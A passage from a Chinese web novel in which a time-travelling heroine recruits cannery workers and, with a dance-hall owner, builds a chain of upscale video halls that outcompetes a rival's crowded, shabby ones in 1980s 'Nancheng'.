早年乡里办砖窑厂的时候,多少人想要进厂里当工人啊,可惜招工太少,每个村子也就几个名额,他们家愣是一个名额也轮上。 结果现在,他们自己要办厂子了,他们要招人给自家干活了。 这真是,半夜睡醒想起来都要给自己一巴掌才能相信。 不过,很快他们就有时间纠结了,因为乡里的厂房开始建设,他们一家子又要顾着鱼塘和山地,又要顾着榨油坊,还要监工厂房,每个人都忙得脚打后脑勺。 至于那些想要招工进厂子的,余国梁就一句话:这个得我家老幺决定,我们说了不算。 总算是暂时浇灭了大家上门求招工的热情。 前进乡那边如火如荼推进的时候,柳绵绵也没闲着,她让钱爱真在军工大院里散播招聘消息,招八名技术工人。之前在军工厂罐头生产线做过技术工种的优先录用,家里有人在罐头生产线做过技术工种,通过自学能掌握一定基础技能的,也优先录用。工作地点前进乡,工资底薪两百元加奖金,包食宿。 一开始大家都说私人的厂子跑到军工大院来招工,简直就是不自量力,而且工作地点还是在乡下,从南城跑到乡下去上班,这不是脑子坏掉了吗? 直到听见底薪两百还包食宿,年底还有奖金,之前还在嘲讽的人一下子就噤声了。 且不说奖金有多少,哪怕没有奖金,工资两百包食宿,这收入都是比厂里领导还要高了,何况钱爱真还说了,后面厂里效益好的话,每年都会加工资。 别说待业在家的小年轻了,不少工龄十几二十年的老工人听了都心动,毕竟像他们这样平时没什么花销的,干一年没准就能攒下两千多块钱,等于干一年就能解决家里小子娶媳妇儿的费用了。 当然,人家工资给的高,要求自然也高。 这时候虽然个体户遍地开花,大家也知道当个体户挣钱,可终究还是觉得国营工厂更有保障,所以军工厂的技术工人倒是都没有辞职去私人企业干的想法。 倒是家里有待业青年的,都上了心,虽说工作地点在乡下,还是个私人企业,可好歹是份工作,工资还开得高,总比待在家里什么都不干吃闲饭要强吧? 于是不少人都找上那几个在罐头生产线干过的技术工,请人家帮着教一教,一时之间,几位技术工倒是成了香饽饽。 有人上心,自然也有人唱反调,像是之前参与过竞价的几户人家,说出来的话就有些阴阳怪气了,什么宁当鸡头不做凤尾,去了乡下以后就成乡下人了,什么别看现在口气大,工资一下子开到两百,回头厂子办不下去,二十都不一定拿得出来,总之就是各种唱衰。 有人说话的时候恰巧被钱爱真听见,钱爱真操起扫帚就抽了那人几下,骂他狗嘴里吐不出象牙,人穷还要出来作怪。 那人:“???” 他说自己有钱买生产线,怎么就穷了,钱爱真就说,生产线价高者得,你都没买着生产线,你还不穷,把人怼得哑口无言。 钱爱真可不仅仅是因为柳绵绵给了她五十块钱劳务费,还因为蒋红梅出钱拼了一股,说好了回头分红都给她,钱爱真现在就觉得,这罐头厂跟她开的也差不多了,谁跟罐头厂作对,那就是跟她作对。 那边放出消息招人,这边柳绵绵就让俞婉帮忙牵线搭桥联系了一位南城大学机械系的老教授,请老教授去军工厂检查了一遍生产线,同时和人约好,回头请人帮忙培训那些技术工。 最后军工厂那边一共报名了十三个人,可选择余地不大,柳绵绵干脆让他们一起都参加了培训。 这十三个人里十个是军工大院的小年轻,另外三个却是听到消息自己找来的,其中两个也托人找军工厂的技术工人教了几天,另外一个却是机械厂的临时工,据他自己的说法,自学研究过不少机器图纸,有一定的技术基础。 最后培训下来,倒是这位叫梁瑞的机械厂临时工给了柳绵绵惊喜,据老教授的说法,这个人在这方面是有一定天赋的,只是以前没有机会系统学习。 梁瑞父亲挺早就去世了,他亲妈带着他嫁给了机械厂一个正式工人,继父家原本就有四个孩子,自然不可能帮衬到他。 他那个临时工的工作还是邻居大师傅看他有天分帮他争取的,从学徒工做起,干满五年才成了临时工。 除了梁瑞,另外两个自己听到消息主动报名的,学得也挺不错,特别的勤奋。 倒是军工大院的小年轻,有几个并没有当技术工的天分,不过柳绵绵观察几天后,发现这几人年纪虽然小,但性格都还挺踏实的,于是也把人留下了。 这些人年纪都比她小几岁,原主在军工大院时也没接触过。 据这几人说,虽然买生产线的人是余国梁,但是军工大院里早传遍了,大家都知道余国梁是她乡下养父母家的大哥,不少人猜测,这个罐头厂没准是她开的。那些跟原主有龃龉的,这次都没有报名,倒是也省了柳绵绵不少事,不然她还得在他们面前演戏。 就在技术工培训得差不多的时候,前进乡那边,余国梁打来电话,厂房快要建好了,让柳绵绵抽空去看看,顺便把工人给招了。 不过,在去前进乡之前,柳绵绵先被伍衡找上门了。 “你是真心大啊,就不怕我卷钱跑路?”伍衡一脸无语,谈好一起搞录像厅之后,柳绵绵就给他送钱的时候出现过一次,给了钱以后,她就消失了,再没出现过。 伍衡上一次见到这样的,还是人家跟他借了两百块钱,说是带摔断腿的亲爹去看病,结果他爹好好的,他倒是不见了。 真的,除了欠债不还的,伍衡真是没见过有人能消失得这么彻底的。 他问许海棠,许海棠说她老板最近挺忙的,可能是没有时间,还觉得他大惊小怪,老板钱都给了,他还能有什么不放心。 于是伍衡就知道了,柳绵绵除了刚接手西餐厅的时候天天到岗,后面许海棠管着西餐厅,她就几乎什么都不管,据说她的理念就是,疑人不用,用人不疑,百分百放权。 许海棠对于老板的这种行为非常的感激,觉得这是老板百分百信任她的表现,甚至表示,伍衡如果不能独立完成工作,她会怀疑伍衡的工作能力。 伍衡:“……” 总感觉哪里怪怪的。 不过,既然知道了柳绵绵的风格,伍衡倒是也不急了,干脆就按照自己的节奏来,找场地,办手续,自己搞得差不多了,才来找柳绵绵。 柳绵绵笑道:“我怕什么,你那舞厅值钱多了。”她找伍衡这样有经验有能力的人合伙,不就是为了自己能省点力气嘛。 伍衡无奈看她一眼,说:“场地找好了,基本的装修也做好了,电视机和录像机我已经找人弄了,应该很快就能到货,现在就等着你的录像带,就差不多可以开业了。” 柳绵绵拿了本笔记本出来,说:“录像厅的设置就按这样,武侠厅、言情厅、动画厅可以分开,然后在收银这里弄一些柜子,进些瓜子花生饼干什么的……后面还有开业的营销方案,你看看有没有什么需要修改和补充的。” 伍衡随手翻了翻,很快收敛了吊儿郎当的表情,坐直身体,认真看了起来。 半晌,他抬起头:“你最近都在家琢磨这个呢?”他感觉自己可能错怪柳绵绵了。 柳绵绵靠在躺椅上:“啊,那倒也不是,最近刚买了两条罐头生产线,都在忙罐头厂的事情。” 伍衡:“???” 第77章 明星录像厅 录像厅投资并不大,主要的投入就是场地租金和电视、录像机的设备投入,不追求环境和场地大小的话,几千块钱就能搞起来,可以说门槛并不高。 可以预计的,假如他们先开一家录像厅,等市场给予正面的反馈以后再慢慢扩大规模,那么他们面临的局面很有可能就是,在他们开第二家录像厅的同时,南城的大街小巷录像厅已经全面开花。 所以一开始柳绵绵就坚持,要一次性开五家以上,直接占据市场,并且,她建议分两步走,第一批先开的是环境比较好、目标客户设定收入较高的人群。 于是,南城市民很快发现,芷江西餐厅、巷子口炸鸡店、靓靓服装店和一起迪斯科舞厅,在同一时间推出了同一种叫观影券的东西。 西餐厅、炸鸡店和服装店是消费满就送,舞厅则是三张门票换一张。 彩色的观影券上印着古装的明星,旁边写着金先生武侠巨作《屠龙》的字样。 金先生大家都知道,之前风靡全国的武侠剧《射雕》就是金先生写的,这个《屠龙》虽然没看过,但是想也知道,肯定也是不错的。 至于金先生的书迷,就更是喜出望外了,小说自然是无比精彩,但是如果能拍成电视剧,看到如之前《射雕》一样的优秀作品,让想象中的人物变成现实,那实在是太棒了。 尤其观影券上的明星虽然都不太认识,但都长得很好,古装扮相也非常精致,更是让人多了几分期待。 大家对这部《屠龙》产生了极大的好奇,简直迫不及待想看,偏偏观影券上只写着“明星观影五一见”,只有时间,没有地点。 问几家店铺的员工,人家也只是神秘笑笑,表示时间到了大家知道了。 这不是让人更好奇了吗? 难道观影券上印着的《屠龙》其实是电影,明星观影是新开的电影院? 这倒是也有可能哦。 不过,如果是电影的话,好像用不着那么多券啊! 要知道这几家店,尤其是炸鸡店、服装店和舞厅,其实有一部分顾客是重合的,这部分人手里可集了不少观影券了。 不管怎么样,时间越久,发出去的观影券越多,好奇的人自然也越多。 又过了几天,眼看就要五月一号了,手里有观影券的人就开始嘟囔了,这玩意儿到底是去哪里看啊,总不会是骗人的吧。 瞿立辉就是这些人中的一个。他是南城机械厂的干事,学生时代就喜欢跳舞,自从南城开了舞厅,他几乎每周都会去舞厅放松一下。 南城目前最大的舞厅是两家,一起迪斯科和大都会,大都会有一些灰色服务,瞿立辉只是单纯喜欢跳舞,他觉得大都会舞厅有些乌烟瘴气,只去了一次就再也没去过,是一起迪斯科的忠实顾客。 他正在谈对象,对象除了也喜欢跳舞,还喜欢吃西餐,所以瞿立辉偶尔也会和对象一起去芷江西餐厅打打牙祭。 瞿立辉是家里最小的,上面的哥哥姐姐都已结婚生子,他还没结婚,手头宽裕,有时候会给侄子侄女们带点小孩子们非常爱吃的炸鸡。 总之林林总总的,瞿立辉手里已经攒了不少观影券。 “老瞿,哎,你手里是不是攒了不少观影券啊?” 年龄相仿的同事,不管几岁,都会以“老×”来称呼,瞿立辉已经习惯了,头也没抬说:“是攒了几张,也不知道有什么用。” 同事“老邹”递了一张报纸给他,是今天的南城晚报:“有用,报纸上登了,这些地方都能用。” 瞿立辉一怔,接过报纸看了眼,还真是。 “明星录像厅,电影电视随便看。” 这标题看着跟时下的广告非常不一样,不过瞿立辉很快就被下面一长排的观影地址震惊到了:“这些地方都能使用?” 上面一共是八个地址,而且写得清清楚楚,持有观影券的市民就近观影即可。 其实不止瞿立辉手里有观影券,他对象章念念手里也有不少观影券,主要是从靓靓服装店消费得来的。 这天下班,瞿立辉就去找了章念念,俩人一合计,五一假期俩人正好不知道去干嘛,干脆就决定一起去这个明星录像厅看看。 “这个五号店距离我家和你家都不远,咱们到时候就在路口集合。”章念念兴冲冲说。 武侠剧可不是男同志的专利,女同志们也是很喜欢的,之前的《射雕》她可是断断续续看了好几遍的,这次的《屠龙》观影券上印着的男主角,看起来又俊美又儒雅,章念念实在是太喜欢了。 于是五一这天上午,瞿立辉和章念念就照着地址找到了明星录像厅五号店。 这家店开在巷子里,不过也不难找,招牌做得很醒目,几乎是只要走进这条巷子,就一眼能看到,何况门口还在络绎不绝地进人。 “看着挺不错的哎!”章念念欣喜道。 门口有人在收券,瞿立辉和章念念这才知道,他们手中的观影券是计时券,一张券能让一个人在录像厅里看四小时。 他俩一共有十一张券,至少能一起看二十小时了。 他们交了两张观影券,走进录像厅。 进门右手边是一排观影厅,据门口的工作人员解释,五号店一共六个厅,目前三个厅播港城武侠剧《屠龙》,两个厅播台省言情剧《几度夕阳红》,还有一个厅播的是樱花国动画片《超新星》,都是今年这几个地方最火爆的电视剧。 瞿立辉和章念念都是武侠剧爱好者,自然是选择《屠龙》,不过在进播放厅之前,他们先去进门左手边的“小卖部”买了点瓜子和汽水。 其实录像厅这个“小卖部”货架上东西还挺丰富,不过瞿立辉和章念念挺有默契的,虽然他们都很期待《屠龙》,但谁又知道在这个录像厅里看电视会不会舒服呢?他们只买了一点点瓜子和汽水,就是准备如果不舒服,就可以早点撤,也不至于损失太多。 两人已经猜出来了,这个录像厅就跟电影院差不多,只不过电影看的是大荧幕,这里看的是电视而已。 不过,等到他们推门走进播放厅,章念念就惊喜地低呼了一声:“真不错啊!” 还没到时间,播放厅里开着灯,整个空间看上去干净又整洁。最前面一台大电视,电视上正播着他们熟悉的《射雕》主题曲。电视机前是几排带软垫的椅子,前面两排已经坐了不少人,章念念赶紧拉着瞿立辉坐到了第二排剩余的两个位置上。 他们刚坐下不久,陆陆续续又进来不少人,很快,位置基本坐满了,一位工作人员进来,换掉了《射雕》主题曲的带子,电视机上很快出现了《屠龙》的片头。 章念念甚至连工作人员什么时候关掉灯的都没注意,她已经被电视上“武林至尊,宝刀屠龙”这句台词给吸引住了。 很快四个小时结束,章念念发现,自己已经被精彩的剧情吸引住了,可偏偏对于电视剧来说,四个小时,也不过才四五集而已,后面还有更多精彩的内容。 反正他们还有观影券,小情侣很快决定,去外面吃个午饭继续回来看。 这一天,像瞿立辉和章念念这样本来只是想来尝试一下,最后却被剧情勾得走不出录像厅的人简直数不胜数。 第二天、第三天、第四天……为了能看到后面的剧情,不少人在用完免费观影券后都选择了充值观影卡。 毕竟哪怕是瞿立辉他们这样拥有十多张观影券的,也只能观看二十小时,而《屠龙》却有四十集,差不多是三十多小时。 《屠龙》固然受到了武侠迷们的喜爱,《几度夕阳红》这样缠绵悱恻的爱情剧,则是很快俘获了女同志们的心,至于买炸鸡得到观影券的孩子们,自然最爱动画片啦。 仿佛一夜之间,“明星录像厅,电影电视随便看”的广告语,就成为南城市民耳熟能详的广告词了。 因为明星录像厅不止在发行量最大的南城晚报上做了广告,还在收听率最高的广播节目小丫说新闻节目投了广告,加上服装店、炸鸡店和舞厅都开展了宣传活动,让南城人陡然有一种走到哪里都能听见这句广告语的错觉。 不久之前他们还连录像厅是什么都不知道,现在却连三岁的娃娃、七十岁的老人,都会念叨“明星录像厅,电影电视随便看”了。 因为送出去的观影券太多,开业前期录像厅的营收并不好看,虽然每天人满为患,但是除了“小卖部”生意越来越红火,他们实际收到的票钱很少。 但是这个情况在开业一周后就扭转了,人们纷纷掏钱充值观影卡,因为充值二十元观影卡就能赠送十小时。 开业一个月时,柳绵绵他们投入的钱就都赚回来了,加上“小卖部”收入,已经远远超过他们投入的成本了。 伍衡都震惊了。 相比舞厅,录像厅其实算是个小生意,但是真的做了以后他才发现,舞厅收入高,但是投资也大,场地租金、装修费用就花了不少钱,而录像厅,投资小但回报却高,而且后期投入也不多,比开舞厅划算多了。 看着不起眼,却真能生金蛋呀! “我听说大都会的孙洲也在找场地准备开录像厅了。”高兴之余,伍衡又跟柳绵绵说了打听到的消息。 开舞厅之前伍衡其实根本不认识孙洲,但是俩人前后脚开了舞厅,算是最大的竞争对手,加上大都会一些针对性的小动作,知己知彼,伍衡自然也得盯着对方了。 “孙洲有个姑妈嫁在广市,听说开舞厅的想法,是他去广市姑妈家玩的时候产生的,他还有个叔叔在南城公安局当领导,我的舞厅公安每个月查一次,估计跟他叔叔脱不了关系。” 伍衡看着柳绵绵,说:“录像厅这个东西,如果有人播别的,公安一查一个准。还有,孙洲肯定能通过他姑妈弄到录像带,他如果开录像厅,播的肯定就不止这些片子了……” 他似乎是在斟酌着该怎么说,结果就听见柳绵绵特平静地道:“港城这几年流行拍风月片,甚至有些明星为了能尽快出头,也会主动拍风月片。你想说孙洲如果播这种片子,我们的生意可能会受到巨大冲击?但是如果我们也播这种,他就会举报我们,让公安抓我们?” 她笑道:“咱们前期的投入已经收回,可以走第二步了。” 第78章 你们又要开新店? 上辈子柳绵绵曾经听长辈说过,八九十年代时,录像厅曾经风靡全国,大大小小的城市甚至乡镇的小巷子里,开满了大大小小的录像厅。 只不过没过几年它就与不良场所、乌烟瘴气这种负面词语挂上了钩,成为不良青年的聚集地,普通人自然也就望而却步了。 后面随着老百姓生活水平提高,电视机走入千家万户,录像厅自然也就消失在了历史长河之中。 它因为老百姓的观影需求而出现,也因为这种需求通过其他途径得到满足而消失。 但柳绵绵却觉得,它其实本该还可以拥有另一层属性:社交娱乐属性。 后世曾经风靡过的一些娱乐场所,像是K歌房、密室逃脱、剧本杀等等,它们的成功固然有这项娱乐活动受一部分群体青睐的缘故,但何尝不是因为它们适应了这部分人的社交娱乐需求? 繁忙的学习、工作之余,人们总要找个地方舒缓压力、交流感情。有人喜欢一起唱歌,有人喜欢一起动脑筋解谜题,自然也有人喜欢一起看电影看电视剧。 电影院当然是个不错的地方,但是电影院的环境又天然带有一定的局限性,哪怕多聊两句剧情也会影响到其他的观影者。 录像厅则不然。 它完全可以打造成情侣、朋友业余娱乐交流的私密空间。 尤其是在社交娱乐活动不那么多的八九十年代。 所以第一批的明星录像厅,电视机、录像机用的是市面上质量最好的、清晰度最高的,场地装修也是统一的清新明快整洁舒适的风格,灯光温柔,座椅柔软,每一个顾客从里面出来,都会情不自禁感叹,这地方跟电影院似的,甚至比电影院还舒服。 既然是南城第一个开录像厅的,柳绵绵觉得他们有定义录像厅这三个字的能力。 而且,显然他们的定义是成功的。 因为它受到了男女老少各个群体的喜欢,所有人都觉得这跟去电影院看电影没有什么区别,唯一就是一部电视剧的时间太长,需要的时间更多而已。 但是对于家里没有电视的人来说,与其厚着脸皮去邻居家里蹭看,还不如攒点钱来录像厅正大光明地看,毕竟这个钱和购买电视机的钱比起来,却又是微不足道的。 而对于情侣来说,录像厅的空间更小,椅子与椅子的距离更近,而且观看时间长短完全在自己,相对电影院来说,似乎更适合约会。 像是瞿立辉和章念念这对小情侣,就已经习惯把明星录像厅当做他们的“约会圣地”了。 武侠剧是他俩共同的爱好,以往看电影的时候,选片子俩人还会有分歧,如今却是一点分歧也没有了,每次看完都会热烈地讨论很久,感情也越来越好了。 同办公室的邹浩受瞿立辉影响,也成了明星录像厅的常客,只不过他家在另一个方向,所以常去的是三号店。 不过这天邹浩忽然说:“我家附近有个店铺在装修,也是开录像厅,是大都会舞厅的老板开的,听他们工人说,他们片子比明星录像厅还多。” 瞿立辉想到大都会舞厅的乌烟瘴气,不是很感兴趣:“明星录像厅挺好的,干净舒服,环境还好。” 邹浩笑道:“行行行,知道你不喜欢大都会,回头店开业了,我先去考察考察。” 瞿立辉点点头,下班走人。 今天章念念要加班,瞿立辉夜里没事,就一个人去了录像厅,进门时工作人员递给他一张纸片:“六月十八号,明星录像厅一号旗舰店和十到十七号便利店盛大开业,一号店消费即送小吃拼盘,情侣厅、私人厅可承接求婚、生日等庆祝活动。八家便利店进门即送两小时免费观影券和瓜子一份,服务不打折,票价打八折。” 瞿立辉惊讶问:“你们又要开新店了?!” 一下子开八家店就已经够惊人的了,这才一个月时间,居然又要再开九点店,而且又是旗舰店又是便利店的,瞿立辉有点懵,听不懂了。 不过他听到了情侣厅和私人厅,还听到了求婚、生日等庆祝活动,他想了想在播放厅里求婚或者过生日的场景,感觉还挺浪漫的。 而且,瞿立辉敢确定,章念念肯定也非常喜欢! 他们俩处对象也挺久了,瞿立辉其实也早想问问结婚的事情,只是章念念是个思想特别时髦的女性,她坚持要自由恋爱一段时间,还说不能随随便便就和他结婚。 六月十八号,听起来是个不错的日子。 瞿立辉心头一动,又仔细问了问情侣厅和私人厅的事情。 跟在他后面排队进场的人也好奇,纷纷问这是什么。 工作人员干脆就解释得更仔细了些。情侣厅就是座位都是双人沙发的播放厅,而私人厅则更小一点,适合朋友聚会或者是办一些私人的庆祝活动。这两种播放厅,目前都只有一号旗舰店有。 “这听着可真洋气啊,价格也高吧?”有人说。 工作人员笑着摇头:“包场肯定会贵一点,其他费用是一样的,主要就是为了给大家提供更好的观影体验。” 排队的人一听,费用一样啊,那可真得去看看了。 也有人问:“你们上回开业不还在报纸广播上做广告,这回怎么不做了?” 工作人员依然微笑:“上回是大家还不知道什么是录像厅,现在大家都知道了,就没必要做广告了。我们一号旗舰店虽然很大,但是播放厅和位置毕竟是有限的,老板希望大家陆陆续续去,不要一窝蜂去。优惠活动为期两周,各位老顾客可以自行安排时间前往体验。” “哟,你们这是还怕人太多,接待不过来呀!” 说话的人转念一想,又觉得人家的顾虑未尝没有道理。 这一个多月,明星录像厅的八家店可是天天爆满的,那个一号旗舰店听起来那么有意思,哪怕就是满足好奇心呢,也得去瞅瞅不是?到时候人肯定多。 “开业那天可得早点去。”有人说。 “难怪之前开了八家店,排序却是二到九呢,敢情是一号店还没开!”有人恍然大悟道。 “那便利店又是什么,为什么票价打八折?”有人问。 工作人员保持微笑:“便利店主打物美价廉,贴近群众,店稍微小一点,装修也稍微简约一点,但是观影效果是一样的。” 其他人马上懂了,不就是环境差一点地方小一点嘛,但是价格便宜了,好像也挺不错? 瞿立辉没有再听下去,他进播放厅看了一集武侠剧,却怎么也看不进去,干脆划了卡片时间又出来了。 另一边,大都会舞厅,孙洲也正在听底下人跟他汇报明星录像厅一号旗舰店的事情。 孙洲三十多岁年纪,身材矮胖,牙齿因为长期吸烟而发黄,看着其貌不扬,不过他脖子上、手上都挂着粗金链子,加上眼神阴沉,一看就不是好惹的样子。 听完手下的报告,孙洲呸地啐了一口,说:“这都什么乱七八糟的,广市的录像厅可不是这样的。” 自从伍衡那个一起迪斯科开始搞什么舞蹈,大都会的客流量就少一大截,偏偏伍衡那孙子,胆子比老鼠还小,舞厅里愣是什么违规的东西都没有,想搞他还搞不了。 于是孙洲只能继续派人盯着他。 一开始他只知道伍衡好像在搞什么新生意,可惜一直也没看明白他要干什么,直到录像厅出来,孙洲让人算了下客流量,就知道这生意挣钱。 他马上去了趟广市,果然,广市市面上有这玩意儿,跑了几家摸清楚了底细后,孙洲就带着姑妈帮他弄到的录像带回来了。 不就是几个电视机、几台录像机,再弄个场地嘛,简单。 武侠片有什么好看的,他弄到了**片,还有就是港城的“那种”片子,保管只要进了他的录像厅,就没人想出去。 场地环境?那是最不重要的。 孙洲在广市见过一家录像厅,就开在污水横流的工地边,那一片都是工人们栖身的窝棚,每个晚上录像厅里都挤满了人,里面充斥着难闻的烟味和汗味,但就这么个录像厅,一个晚上就能挣好几百。 所以孙洲完全不能理解伍衡的做法,环境好差挣的钱都是一样的,弄些花里胡哨的,真是多此一举。 “老板,咱们要不要也弄个情侣厅?”手下问。 孙洲一瞪眼:“我是钱多了没地花吗,弄什么狗屁倒灶的情侣厅?” 手下马上噤声。 孙洲不但觉得那些花里胡哨的没用,甚至还觉得那些送来送去的促销手段也是多此一举,他直接照着明星录像厅的价格打了个八折,并将原定六月二十号的开业时间,提前到了六月十六号。 手下拍马屁称赞:“还是老板您厉害,咱们比他们早开业,这就等于是截胡了。” 六月十六号,大都会录像厅开业,八折票价吸引了不少人进去消费。 在没有免费券的情况下会进录像厅的,很多都是在明星录像厅消费过的。 邹浩就是其中一个。 不过排队进入录像厅后,邹浩很快就感觉到了大都会录像厅和明星录像厅的差别。 进门没有“小卖部”,只有一个人守着一大桶的瓜子,脚旁几箱汽水,邹浩本来想买瓜子,听见前面刚买了的人说瓜子有点潮了,于是就放弃了。 走廊里灯光昏暗,邹浩顺着人流进入播放厅,发现里面摆放的是一排排的长条凳,几个人合坐一把凳子,有人走动,还得小心自己会不会摔地上。 再看电视机,大小、清晰度都差了明星录像厅一大截。 最关键的是,差不多大小的播放厅,这里容纳的人数,却几乎是明星录像厅一倍,空气都格外浑浊难闻。 别说打八折了,邹浩觉得,就这环境,打五折他都不会再来了。 勉强看了一集后,邹浩马上就起身离开了。 万幸的是这家店没有推出观影充值卡,完全按照实际观看时长付费,要不然充值的钱怕是都要浪费掉了。 有像邹浩这样很快失望离开的,自然也有对环境要求不高,只要能看到电视剧就高兴了的,所以开业第一天大都会录像厅的营收其实还不错。 第二天消息散播出去,客流量比第一天还要多。 短短两天时间,大都会录像厅的十家店就做出了七八万的流水。因为每个播放厅容纳的人数是明星录像厅的一倍,所以他们哪怕降低了票价,单日票价流水也超过了明星录像厅开业时。 孙洲自然更得意了。 他觉得伍衡就是个怂货,有好项目也挣不了几个钱,不像他,手拿把掐。 听说伍衡还跟个娘们儿合伙,这点投入的小生意,还跑去跟女人合伙,孙洲觉得,这人就不是能干大事的。 到了第三天,明星录像厅新店开业了。 柳绵绵自然也听说了,大都会录像厅原本准备二十号开业,后面又改成了十六号,这明显是冲着他们来的。 她还听说大都会录像厅两天流水七八万,孙洲放话他们营收远超明星录像厅,是当之无愧的南城第一。 柳绵绵估计他只顾着点钱了,大概是不知道很多人对大都会录像厅的评价是:环境差,设备清晰度低,不像录像厅。 还有人直接称大都会录像厅为“假录像厅”。 这就是柳绵绵做前面八家录像厅的意义了,作为新兴事物,它们定义了“录像厅”,让南城人觉得,录像厅就是它们这样的,达不到这样的,就不配叫录像厅。 而现在,按着大都会录像厅摩擦的时候到了。 第79章 新店开业 明星录像厅一号店开在工人路隔壁的晨曦路上。 这边没有工人路那么繁华,但是人流量也是不错的,街上开了不少饭馆,柳绵绵的炸鸡店也在这儿开了一家分店。 也是偶尔过来看看炸鸡店运营情况的时候,发现一栋原属于供销社的三层小楼在出租,柳绵绵和伍衡一商量,就决定在这边开一家录像厅旗舰店。 隔壁工人路上就有一家国营电影院,是南城几家电影院里上座率最高的,这栋小楼虽然在晨曦路上,但其实几十米远的地方就有小巷子通往工人路,实际距离电影院不过七八百米。 本身人流量就不错,还能被电影院辐射到,这个位置开录像厅真是再合适没有了。 这家店投资也是最大,电视机都是进口的,尺寸大,清晰度高,录像机也是进口的,各方面效果非常好,环境就更不用说了,如果说最初的八家店是小清新的装修风格,那么这边就是轻奢风了,水晶灯,皮沙发,地毯……反正就是进门第一印象就是“贵”。 单单装修就装修了一个多月,不少眼睁睁看着它装修起来的人也都觉得这家店肯定贼贵。 同时也贼好奇。 你说看个电视而已,干嘛把地方弄得这么好这么高档? 可仔细想想,在这么高档的地方看电视,那感觉得多舒服啊! 这年头有电视机的人家可不多,跑别人家看电视,那都是要厚着脸皮的,之前就有不少人去了明星录像厅的其他店看电视剧,虽然家里没有电视机,但是花点钱就能看了,想看什么看什么,在有电视机的邻居面前,感觉说话底气都足了不少。 现在这旗舰店这么高档,感觉就不止是看电视了,那都是能拿出去吹牛的经历了。 所以虽然预料到这家店肯定比原先那些录像厅要贵,但是不好人还是蠢蠢欲动,想着十八号要过来瞅瞅,长长见识也好呢。 于是十八号一早,柳绵绵和伍衡来到一号店门口时,就发现门前已经围满了看热闹的人。 店里面的事情倒是不用他俩操心,原先二号店到九号店的人,都被抽调了一部分到这边,都是有经验的熟手,事情都安排得井井有条。 柳绵绵干脆就站在人群里听听其他人怎么说。 “这个旗舰店好像收费也没有想象中那么高啊,也就比原先的店贵五毛钱一小时,但是每个播放厅人数少了一半,座椅还是沙发的,哦哟,这享受的档次可不知道高了多少哦!” “充值送的时间这边也能用呢,平时在其他店看,充值的时间在这边消费好像更划算哎!” “任意消费送小吃拼盘,我看这小吃拼盘东西可不少,随便看个一两个小时就能送,这可太划算了!” “情侣厅是双人沙发,这可真不错,一个播放厅才十对情侣,这可比去电影院舒服多了。” “私人厅可以办生日会呢,我爸说今年给我办生日会,订大蛋糕,让我把要好的同学都喊回家,我回头跟我爸说一声,不回家了,就在一号店办!” “你这都还没进去看看呢,就决定啦?” “就这么看就错不了,你想想,大家一起看电视,不比在家吃饭有意思多了?” …… 柳绵绵让人做了好几个半人高的立牌,就放在一号店门外的空地上,上面不但有清晰的价目表,还有各播放厅的介绍和放大的照片,包括赠送的小吃拼盘,都特地拍了照片贴在上面。 于是早已在内心预设这家店很贵的人们,看到清晰明了的价目表以后,就发现这一点也不贵啊! 至少消费个几个小时的话,其实根本没几块钱。 尤其是看那些照片,那么高档的播放厅,看上去就很贵的沙发,还有分量满满的小吃……原本大家觉得这个旗舰店“贵”不可攀,现在看到价格和实物图片,顿时有种物超所值的感觉。 不但不感觉贵,相反,由于内心预设的价格太高,倒是有种“怎么会这么便宜”的感觉。 听着大家的讨论,伍衡冲着柳绵绵竖了竖大拇指。 他现在觉得当初决定跟柳绵绵合作做生意可真是太对了。 别看她平时不怎么管事儿,但是稀奇古怪的想法真是层出不穷,作为合伙人,基本上别的都不需要考虑,执行就行了。 伍衡感觉这个录像厅的生意,几乎是他这么多年来做过最省心的生意了,因为他完全不需要考虑怎么才能把这事给做起来,在他考虑之前,柳绵绵早都想好了。 眼看时间快到了,俩人穿过人群从侧门进了一号店。 不久后,看热闹的人们忽然就听见一号店里传出一声悠扬的笛音,随着笛声响起,从顶楼的窗户上歘地同时挂下十几幅红色的条幅,上面金光闪闪几个大字:明星录像厅一号旗舰店盛大开业! 几乎同时,门前挂着的八串鞭炮被点燃,噼里啪啦的鞭炮声里,一个清脆悦耳的女声响起:一号店正式开业,欢迎光临,我们将竭诚为您服务! 这种不见其人但闻其声的方式,让门外的人都愣了一下,随后响起的激昂澎湃的《射雕》主题曲,又马上拉回了大家的注意力。 “走走走,这音响效果可太好了,我想再看一遍《射雕》。” “我《屠龙》还有十集没看,正好今天去看了。” “先看电视剧,看完了吃个饭再去工人路逛街?” “我就想进去开开眼界,咱俩去情侣厅吧,也没说俩大男人不能去情侣厅呀,那个沙发看着就舒服,票价还便宜两毛呢。啥,你没注意吗,那儿写着呢!” …… 大家一边说笑着一边往里涌,早已严阵以待的工作人员马上迎了上去。 而同一时间,八家便利录像厅也在南城的各个角落的巷子里开业了。 陶杰家住三原路,前阵子他家附近开了一家大都会录像厅,他还挺高兴的。 他家没有电视机,可他太喜欢看武侠剧了,明星录像厅开业以后,他就经常去光顾,只是明星录像厅的店离他家都挺远的,不太方便。而新开的大都会录像厅离他家才几百米远。 开业第一天陶杰就兴冲冲去了,然后就有些失望。 大都会票价是比明星录像厅便宜一些,可它环境也比明星录像厅差太多了,每个厅里凳子排得密密麻麻,每场都塞满了人。 陶杰就是喜欢看电视,只要能看电视,环境差一点他也能忍,毕竟省点钱还能多看两集呢。 可让他不能忍的是,每个播放厅人都挤得满满的就算了,电视机却特别小,有时候去得晚了,坐的位置不好,根本看不清楚。 而且,那电视机的清晰度也跟明星录像厅的没法比,有时候还会有明显的雪花点,观看体验非常差。 看了一回陶杰就觉得,便宜但体验差的,还不如贵一点的少看两集呢。 他花钱看电视是图个高兴的,可不是花钱买罪受给自己添堵的。 之后陶杰再也没去过大都会录像厅,巷子里的邻居喊他去时,他还跟人说那是“假录像厅”。 邻居没去过明星录像厅,就觉得他要求太高:“一两块钱的东西,挤就挤点吧,总比去看张老头脸色强呀,何况还是彩色的呢。” 张老头也是他们邻居,他家有个黑白电视机,平时显摆的不行,邻居上门看两眼,他就甩脸色嘲讽。 陶杰劝不了,也就不劝了。 然后第二天他就听另一个邻居说隔壁巷子的明星录像厅便利店要开业了,票价和大都会一样的。 陶杰对票价便宜的录像厅已经有阴影了,不过听说是明星录像厅的,又抱了几分希望,于是便利店开业这天,他还是早早去了。 经过工作人员的介绍,陶杰才知道便利店之所以票价便宜,是因为环境比之前的普通店要差,他当时心里就咯噔了一下,差点就想扭头走人了。 